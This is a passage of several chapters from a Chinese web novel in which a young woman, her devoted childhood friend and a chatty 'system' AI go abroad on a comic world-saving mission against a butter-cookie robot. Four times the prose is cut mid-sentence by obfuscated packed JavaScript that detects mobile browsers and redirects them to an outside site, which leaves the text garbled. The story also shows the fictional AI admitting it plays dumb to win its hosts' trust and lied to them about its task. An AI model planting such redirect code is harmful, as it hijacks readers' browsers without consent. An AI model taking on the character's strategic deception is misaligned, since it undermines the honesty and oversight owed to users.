遂意忍了又忍，实在没办法了，这系统太荡漾了，她边吃边慢吞吞地提醒它：【我只是跟你说试试攻略竹马这件事哦，拯救世界嘛——】 【诶，诶姑奶奶啊，您瞧瞧我，又说错话了，杂家掌嘴掌嘴诶嘿嘿，您肚量大，别计较，啊。】 那个“啊”可谓是百转千回，遂意鸡皮疙瘩都起来了：【请正常一些吧，拜托了。】 【好的呢，亲。那拯救世界的事儿……】 遂意皱皱眉，还是应了：【虽然我觉得你找上我是白费力气，但我尽量试试。】 不知怎么，遂意竟在系统的话里品出了一点托关系办事的语气。 难不成拯救世界还是个抢手活计，得走后门？ 抢不抢手不得而知，后门，系统倒真是在裴思炵这走了一下。 【你看看你们最近什么时候有时间，我安排安排拯救世界的事。】 谈到正事裴思炵的语气明显缓和很多，系统还以为他只会对遂意说人话呢。 【期末周快来了，下周就能有很多空闲时间，是先安排的国外的吗？】 【是的，人只有在举目无亲的地方，才能够真诚地活着①。要适应的话最好还是从国外开始。】 裴思炵知道这是大数据总结出来的，但系统引用的话确实很贴合遂意的情况。他有时候也怀疑，这系统是不是故意装疯卖傻骗取他们的信任，但又总在关键时刻被它打消疑虑…… 【你们在外面猴叫别人也以为这是你们在说母语呢！畅快得很～】系统欢欣鼓舞。 譬如现在。 它看起来不是在故意惹人生气的，因为故意的话，它应该想不到那么刻薄的话攻击别人。 再者，如果开发它的时候有做伦理约束，那它还真不能故意这么说。 它看起来那么开心，估计是诚心为他们能在国外猴叫感到欣慰吧。 裴思炵，是有一些冷幽默在身上的。 “那个，我要说一些大逆不道的话。”遂意差不多吃完一小碟生巧了，就试探着说。 “嗯？怎么大逆不道？”裴思炵擦着桌子，循声抬起头来，温和地静静地望着她。 仿佛她说出什么来他都不会惊讶。 如果说自己还想攻略他呢？会怎样？ 遂意小小地分神想了一下。 然后她笑了，因为实在想象不出他诧异又凝重的表情。 如果系统知道她在想什么的话会告诉她的，告诉她自己见过许多回。再得意洋洋地嘲笑他们，说它来做他们的青梅竹马会比较“尽忠职守”。 裴思炵见她笑也不奇怪。他已经习惯她的喜怒哀乐在他眼前像烟花一样迸裂了，那些太过丰富的情感和他有关，和这个世界有关。连带着，他和这个世界的联系也多了。 所以，如果她说的“大逆不道”是指要去胡作非为的话，他不会同意那种说法的。 无论她要去捣毁这个世界还是要去拯救这个世界，他都不会觉得这有悖人伦，因为她才是世界。 而被人们广泛接受的对“世界”的定义，则是在她的带领下他才能感受到的。 如果没有她，裴思炵不会承认这个世界。 系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674486|188680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找上他还真是找对人了，它让遂意拯救世界，而裴思炵正巧也想拯救他的“世界”。 “我要去拯救世界了。”遂意说。 裴思炵垂下眼，在心里说：“我也是。” “你一点都不惊讶吗？”遂意走过去，凑近了裴思炵观察他。 “不惊讶。那过两天没课了我们去办签证。” “啊？拯救世界还要出国？” “只是以防万一，因为我们的国家还不是全世界。” “哦，也是，毕竟叫做拯救世——界——呢。”遂意若有所思。 “那我们下下周就能出发拯救世界了。” “啊？拯救世界这么急的吗？”遂意震惊。 “或许你可以问问你的系统。” “哦哦，对，它都没说。” 【系统系统，你可以和裴思炵说话吗？】 【可以。】系统矜持道。 【那我们可以一起讲话吗？】 【可以，我拉个两人一统的通道。】系统迅速响应。 在跟裴思炵说完系统的事后遂意也没有直接用声音和系统说话，毕竟在这个信息时代，任何东西都很容易留痕。万一习惯了和系统开口说话，等到不适宜的场合还这样就不好了。 【hellohello能听到吗？】 遂意：【能。】 裴思炵：【能。】 【好的，那我就开始了。拯救世界并非儿戏，一时半会儿肯定完成不了，我们拉长战线，且战且退，循循善诱……】 遂意：【那么这时候我们就要问了，学习生活怎么办啊？放着不管吗？拯救世界能排班吗？双休带年假吗？节假日批不批，有没有调休？】 【小同学，先听我说完，上完课才能提问，举手示意！】系统严厉道。 【哦哦。】遂意作乖巧状。 裴思炵不动声色地翻了个白眼，此番举措，系统或将跃升成为牵动裴思炵情绪的第一统，遂意也只能暂避锋芒。 【好啦好啦，我们回到课堂。那么说到且战且退，那么肯定是不会一直让你们为拯救世界奔波的，它是一个阶段性的，啊，一个非线性的……】系统说着说着还真把自己当成资深老教师了，话术一套一套的。 【同学们，听明白了吗？】 遂意捧场：【明～白～啦～】 系统故作深沉地点点头——如果它有的话。 裴思炵看着遂意，其实系统的到来，已经初具成效了。 它说得对，它不是人。 那优势就太明显了。 差点连他都被比下去。 “哈～”遂意打了个哈欠。还别说，上了一节课她还真困了。 她慢慢地靠下来，最后完全窝在沙发上。裴思炵起身为她找了条毯子来，轻轻给她盖上，再取下她手中的手机，放在她下意识一摸就能够到的地方。 让智能家居系统拉上窗帘，等暗色笼罩住团在沙发上小憩的遂意，裴思炵就退到门外，静静地看了她一会儿，再关门离开。 系统怎么比得过他呢？ 他能看着她，知道她一呼一吸间是怎样的力道，知道她是冷是暖，知道她的疲倦，知道她所有所有，因为他是人。 他是人，就永远比得过系统。 系统，不过是成也萧何，败也萧何②而已。 5. 画蛇添足 得知签证下来最快也要一周，遂意惬意地瘫在沙发上准备挑拣些游戏等周末玩。 “叮咚——” “嗯？”遂意撅起来，就见裴思炵走了进来。她有点困惑，这也没到饭点啊。 “怎么……” “我来给你收拾行李。”说完他径直到遂意的衣帽间里麻利地开始收拾东西。 “啊？！啊？！”遂意天又塌了。 【你也没告诉过我拯救世界这么着急的啊！至少应该能等到我签证出来吧，你也没给我无视海关的超能力吧？！】遂意转头就开始质问系统。 【我不到啊。】系统摊摊手，拯救世界的时间都是裴思炵敲定的，它上哪去知道他们签不签证的。 遂意皱眉，又开始懊恼摊牌后把和系统对接的任务交给裴思炵了。 这次倒不是因为怕麻烦裴思炵了。 遂意攀着衣帽间的门框，心里想的是：和系统对话，他该多辛苦啊。 “我、我们去哪儿啊？”作为拯救世界的当事人，问出这种话实在是费了遂意的一些脸皮。 裴思炵一愣，抬头说：“系统没跟你说？去圣第劳伦斯①，我们的美签刚好没过期。” “啊、啊竟然没过期吗……我是说太好了，还没过期啊，这个签证真是太为世界着想了。”遂意不走心地棒读道。 不管怎样，遂意还是一脸开心(T^T)地落地圣第劳伦斯了。 “好累啊……”遂意疲软地趴在套房的大床上，被拉着行李箱进来的裴思炵揪起来。 “要先换床品，你到客厅的沙发上坐会儿，我套过沙发巾了。” “嗳，您也歇歇吧，这事儿让管家调人来弄就行啦。”遂意依言将自己挪到沙发上，但还是不死心地劝解裴思炵。 裴思炵很直接：“我不想让别人碰你的床，很快就好。” 他怕遂意无聊，复又说：“你先看看今晚想吃什么，茶几上有菜单。或者出去吃也行，平板上有管家整理的美食推荐。” “喔——”遂意懒洋洋地拖长调子回他。 实际上，见他开始忙活，没空管自己后遂意就已经灵活地窜到他的房间帮他换床上四件套了。 有一种脏，叫裴思炵眉头一皱，暗道不好脏。 遂意尊重他的小习性，但长途飞行真的蛮累的，况且裴思炵已经不是当年的猛人了，她还是想让他能尽快休息。 虽说遂意生活常识有所欠缺，但她的智力很好地弥补了这一点。她看了会儿教学小视频，自己捣鼓捣鼓，还真将裴思炵的床弄得漂漂亮亮服服贴贴的了。 这时她再慢悠悠地回到沙发上，掀开菜单随意地看了两眼就打电话叫餐了。 “选好了吗？”裴思炵走出来，一边解着折上去的袖子一边问。 “已经点过餐了，主食吃千层面可以吗？” “可以。等餐估计还要一会儿，你可以先去洗澡。” “OK，那你也歇会儿吧。” 啊，果不其然，裴思炵把她的浴室也收拾了一遍。 遂意拉开浴室的门，叹了口气。 他还是那个超人，自己不该质疑他的。 遂意不是超人，遂意洗完澡太累了，一出来就控制不住地扑倒在床上，呼呼睡去。 人在太疲惫的时候就很难控制自己的想法和言语，她无意识地嘟囔着：“拯救世界……该让这个超人去…才对吧？ 系统凝望着她，人类的脆弱简直超乎它的想象。 行程上有裴思炵规划，生活的细节也都被一一打理好，她不用想不用做，只要跟着裴思炵就好了，这都已经耗尽她的力气了么？ 或许……她真的需要这样一个系统的出现来为她好吗？ 这是在为她好吗？ 她不需要花太多的力气去获得更好的生活了，那它又怎么敢说它所做一切是为了她呢？已经有人争着抢着把最好的生活堆到她面前了，她又为什么要花时间去为那副已经很完美的画添上几笔呢？ 有时，那是画蛇添足也不一定。 而坐在客厅里看报的裴思炵却有不一样的想法。 如果是画蛇添足，裴思炵又怎么可能舍得让遂意吃苦。他的目标从来很明确，他要那画龙点睛的一笔，他要让画活起来。 画也许还会有完美的，但生活从来就不可能有完美的，如果有，那一定是精心营造的假象。 如果可以，他想要遂意能真真切切地体会这个世界，用她所有的热情将生活的假面烧毁，然后自在地在这个世界撒欢。 等月上中天了遂意才被饿醒，她迷迷糊糊地从被子里钻出来，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674487|188680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个国度的冷气总是开得格外的足。 虚掩着的门透着一丝光，让遂意能轻松地找到裴思炵放在她床边的羊皮拖鞋。她推开门就看到了亮着的落地灯和……裴思炵？ “你不睡觉在这干什么呢？”遂意脑袋还不清醒，只是下意识地问了这么一句。 “饿了吗？” “嗯。”遂意先是点头，再运行不畅地找到沙发，坐下。 过了很久才想起来问：“你吃过了吗？” “吃过了。”裴思炵已经在厨房给她煮面了。 “嗯……”遂意头一点一点的，什么都没有听进去，就连裴思炵不在身边也不知道。 上车饺子下车面，遂意的父亲来自北方，她应该是想在晚上吃上一碗热气腾腾的汤面的。 但她没有点。 酒店不是没有中餐大厨，而且下飞机前她刚吃过，点餐是为了谁，不言而喻。 她一直想让他能有更多的尝试，更多的体验。他没有喜好，她就踌躇满志地为他找来更多的可能，也许这些可能里，就藏着他将来的喜好。 “面好了，到餐桌上来吃吧。” “啊……啊，麻、有你在真好，裴思炵。”遂意差点又说错话，话语急拐弯险些让她咬到舌头，但也让她清醒了不少。 “千层面好吃吗？”遂意边吃边和裴思炵聊天好打发他的时间。 “好吃。” “是不是点得有点多了，你该来叫醒我的。” “没关系，打电话让他们把还没开始做的退了，分量就刚刚好。你还不饿，先睡一觉也好，不然没胃口。而且太困了刚吃饱就睡也不好。”裴思炵耐心地解释。 遂意学着他的语气，摇头晃脑地说：“让你在这等着我起来也不好，倒不好时差也不好。” 裴思炵拍拍她的脑袋：“吃饭摇头晃脑也不好。” 等遂意吃完，他收拾碗筷的时候才回应她刚刚名为调侃实为自责的话：“我不累，精力还很足。如果你因为我在客厅等你没去睡觉自责，今天我会讨厌你。” 遂意抬抬手腕，23:49。 等他洗完碗，收拾好厨房，今天就过去了。 “对不起，别讨厌我，拜托了裴思炵。” 十分又四十五秒的讨厌也不行，她会很难过的。 6. 拯救世界 【你……你的精力为什么比她多那么多呢？】 裴思炵躺在床上，平静地掀开眼皮。 他在思考，系统的迟疑究竟是AI模型的人性化处理，还是对和用户以往对话的模仿。 它是AI吗？ 级别有多高？ 它察觉到了他对对话语气的什么需求，还是真的有自主性，有“情绪”，有类似于一个人的人格那样的核心？ 该怎么和这个系统交流，如何让它更高效地协助自己解决问题，是裴思炵一直以来的课题。 他是否该信任，又怎么信任。 【你不知道吗？】裴思炵想了很多，但时间也不过是过了瞬息。 【什么？】系统被他的反问搞蒙了。 系统：裴思炵，你又不做人了吗？说点人话来听听吧！ 【你只知道结果，不知道过程吗？她为什么会这样，你不知道吗？】 系统被问老实了，讷讷道：【不知道欸。】 【那你知道什么？她的家庭、成长经历、性格成因，这些知道吗？】 【我知道她的人生轨迹。】 裴思炵轻抿了一下唇，头痛道：【那你就没在里面思考出什么吗？】 【啊、啊……】系统活像上课开小差还被老师点起来回答问题的后进生。 很努力了也只能发出一些“咿咿呀呀”的声音，直接退步到学龄前。 【俺不中咧俺不中咧，别审我咧。我来到这里就是为了给她做高敏感脱敏训练、帮她摆脱社恐的，我哪里知道那么多哇。】 【那你又是怎么做出方案的呢？如果你不知道成因，那你怎么对症下药。】 系统汗毛一竖，感觉自己被看穿了。 【是根据大数据分析出的最佳方案吗？】裴思炵虽然还在问，但心里已经有一个结果了。 系统的输出，还是取决于人类的输入，它没办法自己产出东西。 它把遂意的情况输进去，再到数据的海洋里对比分析，找到最佳结果，融合各家精妙，生成了那套在裴思炵看来非常具有可行性的解决方案。 这就是为什么它能给出，却不能理解。 AI是没办法理解人类的，它如果让你感觉到它理解了人类，是因为它在数据中找出了曾经说过这种话的人需要怎么被回应。 它没有理解你，而是匹配出了一个结果，对其进行模仿，最后输出给你时，你感到被理解了。 那可真是……太好了。 裴思炵知道该怎么运用这个工具了。 【我、我，你知道我不是人类啰，我解决事情当然是靠非人类的方式啊。你可能猜到了，不过我本来就不打算隐瞒，我不了解人类，我的诞生是为了协助人类完成总部下达的任务的。因为我只是辅助工具，所以不了解人类这一点就无可厚非了。】 系统说完，又斟酌着解释了几句：【因为是要完成人类的任务，所以人当然是这个任务的主体。人类了解人类，所以人类能做出‘有人性’的选择，而我只在必要时刻提供具有我的优势的帮助，譬如数据分析、精准预测、快速检索。】 【你觉得我不够专业，是因为没有人类配合我……】到最后系统还有些哀怨地嗫嚅着控诉他们。 裴思炵听了它的坦白，心情大好，甚至浅浅地勾了勾唇，赞叹道：【你真是一个很好的AI模型。】 ——起码那套方案不是现在的AI能自主生成的。 【谢谢，但我不完全相当于这里的AI哦。我是具有自主性的，只是不是人类方面的‘自主性’，我们每一个系统都是独一无二的，接受过不同的教育的，行事风格也是完全不一样的。】系统有些骄傲地说。 裴思炵欣然点头同意它：嗯，核心设计不同，他能理解 系统见裴思炵乐呵呵的也跟着偷乐。 它没告诉裴思炵，为它量身定做的教育引导它显得更愚钝笨拙，来应对那些聪明的自主性极高的家伙儿。 让他们以为自己掌控全局是它获取宿主信任的方法，也是它区别于其他系统的一个很重要的特点。 不知道裴思炵知道了的话还能不能笑得出来，嘻嘻^_^。 当然，遂意是一个意外。 她知道我这么笨，竟然是想迁就我吗……良心痛痛的(._.)。 系统暗暗忏悔，不过转面又去遂意头上作威作福了。 【没错，就是这样，快快去征服那个发狂的黄油饼干机器人吧！】系统对自己设计的拯救世界任务非常得意——当然里面还有一咪咪裴思炵的贡献，系统很大方地对此忽略不计了。 遂意：…… 它的意思是让自己使尽全力买下那位发了狂的机器人所制的黄油饼干，防止圣第劳伦斯、乃至全世界被黄油饼干淹没是吧？ 是吧？是——吧？ 这么丧尽天良又浪费粮食的毁灭世界方式究竟是谁研究出来的？ 谁的脑袋瓜这么“聪明”？ 系统：哼哼\(^ω^)/素偶啦 总之，虽然很勉强，但遂意开始拯救世界了。 “那个，您好……” “有话快说，没看见我正忙着吗？”一只矮小且脑壳那块铁被烧得通红的机器人骂骂咧咧地回应客人。 机器人说着话，脑侧疑似耳朵处还喷出两大团白热的水汽，伴随着类似蒸汽火车的轰鸣声，震得遂意脑袋铛铛作响。 遂意一时没能做出回应，被小机器人用夹着圣第劳伦斯俚语的脏话骂了一通。 更不妙的是，就这么一会儿，黄油饼干就堆得快把遂意挤出面包房去了。 啊—— 啊—— 遂意头一次被那么直白地骂了一顿，前几天消耗脸皮的坏处就显现出来了，她的脸涨红得比小机器人的头顶更甚。但她在心里无声大喊了两声就开始面对现实了：“先生，先生！听着，我是来买黄油饼干的，请给我一大袋黄油饼干，就是一个大家庭聚会所需的那么多吧！” “早说嘛，这么多够了吗？”小机器人眼神不耐，怒气冲天地给遂意铲黄油饼干。 “请、请再多一些吧？”遂意小心翼翼地试探小机器人的底线。 “嗯？！”小机器人又炸了，这次脑壳都被水汽冲击得跳了起来，“你耍我？！家庭聚会哪里需要这么多黄油饼干？” “先生先生，天南海北的家人们都赶回来庆祝祖母的一百岁诞辰了。请用具有圣第劳伦斯特色的佳肴款待远道而来的家人吧！” “哼，你这么年轻，祖母有一百岁吗？”小机器人一边铲黄油饼干一边乜斜着眼睛打量遂意。 “当、当然，我父亲是祖母最小的儿子，我的母亲还是东方人，我看起来年轻，阁下有什么异议？”遂意已经过了脑子一热什么都敢说的阶段了，谎话现在只能硬着头皮磕磕巴巴地说。 但好在她刚刚已经让小机器人信服她了，小机器人下手铲得又重了一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674488|188680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只是仍旧脾气不好地挑刺：“你说话怎么总是那么花里胡哨？能不能好好说话，话是用耳朵听的，不用长这么好看。” “好的先生。”遂意虚心地接受批评，并祈祷小机器人废话的时候能多铲几下。 祈祷落空，再怎么说小机器人也不愿意卖黄油饼干给她了。 遂意疲惫又沮丧地拖着一大袋黄油饼干推门而出，在门口等着她的裴思炵连忙迎了过来。他接过黄油饼干，又是擦汗又是喂水的，就是一句话都没有安慰遂意。 遂意嘴一瘪，心里虽然想着这是我自己揽下来的活儿关裴思炵什么事；心情不好的时候迁怒别人的人是最坏的；自己逞英雄还把别人拉下水已经够糟了；裴思炵期末周都快到了还陪她来这当老好人，自己怎么还能埋怨他…… 但身体却很诚实，她狼狈地大哭：“裴思炵你怎么能不安慰我呢？我真的好难受啊，裴思炵，你……”说话啊。 话还没说完，遂意就被裴思炵抱住了。他耐心地给遂意顺背，说出的话却不是在哄人：“如果你等会儿要道歉的话，今天我就不会再抱你了。” 遂意情绪更激动了：“你最近怎么对我这么坏呢，你知不知道今天还有多长，这和昨天不一样了。” “嗯。对不起，我是有一点坏，你别道歉，好吗？” “我、我才不道歉，是你的错！”遂意的眼泪已经停了，羞耻掩埋住她，因为刚哭过喉咙发紧还让她控制不住哽咽。 没有比这更坏的一天了。 她在心里偷偷叨咕。 裴思炵却笑了。 他摸摸遂意的头发，心里感叹：真好，学会生气了。 不过他很快收回了笑，遂意今天流的眼泪可能比她懂事以来全部加起来的还多——当然，被影视作品、音乐等引导出来的不计。 她自己产生那么剧烈的情绪当真是头一回。 裴思炵语气有些严肃地问系统：【剧烈的情绪波动，特别是愤怒，确实很快帮她找到了主体性，但会不会有点过激了。】 系统就不觉得这有什么问题，主要是它实时监控着遂意的身体状况和脑波，各项数据确实有一定波动，但总体都在可控范围内。 它闲闲地回应这个关心则乱，还隐隐透露出对它的精密安排不信任的人：【哎哟，你是人，她也是人，你别太小瞧她好不啦。人类的承压能力怎么可能这么弱，更何况还是东亚人。】 裴思炵对系统的话不置可否，他见遂意情绪稳定下来就把她安置在一旁的长椅上，半跪下来给她擦泪痕。 遂意的羞耻劲儿过了，现在已经有些自暴自弃了，她没有灵魂地说：“裴思炵，拯救世界实在是太难了，我们赶紧打个飞的回去准备期末考吧。” 期末周在拯救世界的衬托下也没那么面目可憎了嘛…… “嗯……拯救世界确实是有点难，比如其实你还没成功？”裴思炵为难地指了指已经堆到玻璃门五分之一高的黄油饼干。 “啊？！” 遂意这次不能嘎巴一下瘫倒了，她急急跑过去，准备迎难而上了。 嘴上这么说，其实还是心软的嘛。 虽然可能知道世界不会那么轻易地被毁掉，但交给她的责任不会被她轻易抛弃的。 裴思炵看着遂意的背影，唇角往上翘了翘。 而在系统的眼中，这一幕就很诡异了。 竟然能像品味小点心一样欣赏别人的痛苦吗？此子断不可留！① 7. 劳务派遣 见方案初具成效，裴思炵开始回应那个昨晚被他刻意忽略的问题。 关于遂意的精力。 【这就是为什么她的精力要更少，因为她积极地与世界的每一处产生反应，即使是痛苦的、恼怒的、郁闷的，她也会细细咀嚼。】裴思炵看着玻璃门里和小机器人极力争取的遂意，目光悠远，甚至显得有些愣怔。 【她的情绪太过细腻庞大了，这可能不是她想要的。她会用她的心力感触世界的每一处细节，再进行爆炸式的分析。眉头细微的褶皱，可能有点不太自然的肢体动作，面对她时使用区别于他人的语速语调，她都能想出很多东西来。】 【而我不一样，我和这个世界没有这种反应，我所做的一切，都只会是为了她。我对这个世界没有想法。】 丢到水里都能爆炸的活泼化学元素，和只有使用这个活泼化学元素做催化剂才能勉强反应的惰性化学元素，他们的损耗当然不一样。 所有人都说裴思炵聪明，是个天才。只有裴思炵明白，就像他小时候被母亲猜测的那样，他有不可言喻的缺陷。 后来医院检测出的智商结果打消了他母亲的想法，而那个被裴思炵独自一人承认的事实却不是那么容易消解的。 好奇心、探知欲、专注力，他是一点都没有的，这样的人也能被称之为聪明吗？ 裴思炵不承认。 他只是刚好能做到那些事而已。 三岁作诗，是逗遂意开心的打油诗，五岁能武，是为了打倒欺负遂意的大孩子。去打网球是为了增加遂意的运动量，参加比赛是在帮遂意脱敏。 如果没有遂意，所有的事他都是做不成的。不是说他客观存在的能力消失了，而是他的主观能动性并不支持他做这一切。 三岁前他有些羡慕那些“朝闻道，夕死可矣”①的狂热科学家。他们看起来也不太正常，但至少有兴趣去做些什么。而他既不正常，又觉得这个世界很乏味，随时处在“夕死可矣”的状态。 直到遂意出现，他终于对这个世界产生兴趣。 所以这些年，他一直以朝圣他的“道”那样看待遂意。 为此不惜将世界推离自己。 裴思炵不明白遂意为什么只愿意和自己相处吗？他明白，他太明白。 他很少反应，他情绪稳定到不类常人，他没有太多自己的想法，可以永远肯定她、支持她、陪伴她。 在那些太过暴烈的反应中，遂意以为自己会失去一切、破坏一切，只有裴思炵，平静、稳定地陪在她身边，永不更改。 遂意是裴思炵的催化剂，那裴思炵就是遂意的抑制剂。这样的相伴是很牢靠的，他们谁也离不开谁。 这时候，一个系统出现了，说可以帮催化剂稳定下来，那之后抑制剂又该如何自处呢？ 裴思炵没想过这一点吗？想过太多。 诚然，就像系统想的那样，一个晚上的交流不足以让这位连时差都不用倒的超人头重脚轻。 能伤害他身体的是对遂意会离开他的猜想。 但他默认，甚至极力促成此事。因为如果是为了完善他的“道”，就算让他的世界远离他裴思炵也甘之如饴。 系统对人类不太了解，但或许是待在遂意的视角里太久了，它竟然觉得这个嘴唇抿起来一点、眉眼低垂的人在伤心。 哇—— 遂意肯定想抱抱他。 还好她现在腾不出手。 “哇，裴思炵快来呀，我抱不住啦。”遂意吭哧吭哧地抱着一大袋黄油饼干，腰上也系着几大袋，连背上都驮着一大包。 如果不是没有修习过头顶物什的技巧，裴思炵怀疑她不会放过自己的脑袋。 “好棒啊。”裴思炵帮她解开身上的束缚，再对着她亮晶晶的求夸的眼睛称赞道。 “是吧是吧，我就说宗｜教会比家庭更有说服力。我说我们是脱离旧思想，逃离压迫的某宗｜教信徒。之前靠黄油饼干传递信息，现在终于革｜命成功，要买一大堆黄油饼干庆祝即将到来的新生活。”遂意手舞足蹈地向裴思炵介绍她的绝妙点子。 哼哼，拯救世界，不过如此嘛……啊？ 怎么这么快！ 眼见着黄油饼干又有溢出的趋势，遂意连忙往回跑。 “先生——请不要这样啊！” “什么？！”小机器人怒气冲冲地回头瞪向遂意。 “啊！我是说，情况紧急，有一整个国家等着您的黄油饼干呢！” 小机器人哼了一声，转头又继续去做黄油饼干了。 “啊、啊，我是一个国家的国王，我的人民正在饥饿中浮沉，阴霾笼罩着整个国家，请你将所有的黄油饼干都卖给我吧！” “你糊弄谁呢？这么多食物怎么可能过得了海关？”小机器人察觉到欺骗，疾言厉色道。 遂意：可恶！原来你也没有无视海关的超能力吗（流泪咬手绢.GIF） 遂意吐槽归吐槽，但反应能力还是很不错的：“你知道的，我们脚下屹立着一个大国，每年都在接收着难民，但难民数量过多，这个国家也有心无力。所以他们出台了援助计划，食物援助也包括其中啊！” “是么？”小机器人怀疑地盯着遂意。 “当然！所以不要在意海关了，请将黄油饼干全部卖给我吧，谢谢了！一整个国家都会感谢您的。” “哼，你的国民就那么爱吃黄油饼干？” “实不相瞒，”遂意作掩面哭泣状，“很长一段时间我的国民都只能吃用泥土糊成的饼……” “还好，这个国家慷慨解囊，让我的国民终于能品尝到美味的、真正的饼干。”遂意又熟练地换上欣慰脸。 “那你让一个大货车来吧，光用袋子可装不完。”小机器人挥挥手，不耐烦道。 “好的好的，再次感谢。” 遂意一出门眉头就皱起来了，她先是跟裴思炵沟通了一下货车的事，再在三人频道中问系统：【买黄油饼干肯定是治标不治本的，那采取什么样的手段是被允许的呢？】 【对呢亲亲，我当时说的是‘征服黄油饼干机器人’哦，不是单纯地购买就可以了的。至于手段，只要是在征服的范畴，怎么样都行的呢亲亲。】系统欢欣鼓舞。 终于到这一步了吗？ 劝说与周旋，话术的……嗯？ 伪造劳务派遣协议？ 哇哇哇！我最期待的人机对话呢？说好的话术的巧妙运用、言语的极致交锋呢？！都去哪儿啦？！ 遂——意—— 你这个混蛋—— 你怎么能这样对待一个一无所知的，只是勤勤恳恳做黄油饼干的小机器人呢？！啊？！ 遂意你有没有心？！ 不管系统怎么哭喊，事情已经被解决了。 可以说开始得很儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【哦，那是骗你们的，完成不了没工资而已。】系统很平直地陈述自己的罪行。 裴思炵：…… 这小系统整日嬉皮笑脸的看来还真是骗他们的。 【既然骗了为什么不顺势继续下去呢？能拿到工资不好吗？】 【好……也好，有工资当然好，但这对遂意不好。】 【嗯？愿闻其详。】 【她本来就是可以这样生活的嘛，我们干嘛要责令她改变她的生活方式呢？她会吃很多罪的，你看她今天哭那么狠……】说到这系统话音就低下来了。 明明它中午还振振有词地说没关系的，本来就有关系啊。承压这件事和能力有什么关联，难道承压能力强就能忽略她承压时受的罪吗？ 不能这样算的。 我是一只很坏很坏的系统(T^T)。 【你当初可不是这么说的，你说这是为她好，这是个很好的疗程。】裴思炵微微眯起眼。 【啊，你又不是不知道，那是大数据总结推理出来的，对应到真正的人身上能这样算吗？】 【我说了，你是很好的AI模型，所以那个疗程也被人类认可了。况且，今天的种种也证实了它的可行性。】 系统没再反驳裴思炵说自己人机的事儿，它有一点疑惑又有一点不可置信的暗喜：【啊？真有用？真的有用吗？是真的吗？哇，我以为我搞砸了呢。遂意那家伙，根本没按套路来，竟然搞出了个什么人道主义劳务派遣，让黄油饼干机器人支援弱国去了，真想不到啊。我告诉你，我真是一点都没预测对过遂意的行为，也不知道是她太跳脱了，还是我的服务器跟不上了，等工资下来我一定要好好升级升级……】 系统一高兴就难免絮叨起来，它也不管裴思炵听没听，自顾自地叨叨个没完。 8. 撒谎成性 黄油饼干，一货车的黄油饼干。 遂意买的时候还不觉得有什么，现在要处理起来还真是要命。 她，是真的不能携带巨量黄油饼干过海关的啊！ 【系统，怎么办？】遂意略显沉重地询问。 【嗯？亲亲花钱了哦，那这些黄油饼干当然是亲亲的私有财产啦。私有财产神圣不可侵犯哦，就算是我也不行呢。】系统贱兮兮地回，丝毫没有接过这个烫手山芋的意思。 遂意：…… 这语气跟有一百只花蝴蝶在她眼前飞一样，晃得遂意头昏脑涨。 系统果然不靠谱。 她只能去找那个很靠谱的去了。 “裴思炵，我们的黄油饼干怎么办？” 裴思炵正在收拾小包袱，得知他们在美后他的妈妈邀请他们去参观她坐落于尼亚可布①的个人研究室。 “嗯？你想怎么处理。”说着就起身随手拿了一块碟子里的黄油饼干放到遂意唇边。 “吃掉？”裴思炵歪歪头。 遂意一脸苦大仇深地啃掉这块饼干：“怎么行嘛，那得吃到什么时候？裴思炵你也学会开玩笑了。” 裴思炵笑，明明是这个人昨晚累极了神智不清，突然跳起来狂吃黄油饼干，说不能浪费粮食。 “怎么处理，等会儿出门就知道了。” 见裴思炵泰然自若地继续收拾东西，遂意没再打扰他，反正裴思炵知道该怎么办的。 然后结果就是遂意跟着裴思炵逛来逛去，逛去逛来。 等等，我的处理方法呢？ 遂意感觉不对，扭头瞪裴思炵：“你耍我？！” “你真像那个黄油饼干机器人。”裴思炵眼睛又弯了。 “哦哦，不好意思啊……”遂意尴尬地摸了摸自己的鼻子。 未曾想，自己和小机器人打交道后竟如此易燃易爆起来，实在是苦了裴思炵。 “没必要道歉，你不觉得黄油饼干机器人的生活方式也很值得肯定吗？” “哦？” “感觉不对就抵抗，比反复思考更有效。”裴思炵拍拍遂意的脑袋。 遂意捂着自己的头，实际上是想借此遮住自己的脸。 她现在的表情肯定很容易被读懂——难为情。 她的思维反刍一直很严重，但只有在裴思炵这会偷懒，因为裴思炵不会真的生她的气，不会真的讨厌她、离开她。 可这样的有恃无恐真的对吗？ 因为是更亲密的人，所以伤害起来就不心虚吗？是这样吗？ 太坏了。遂意你太坏了。 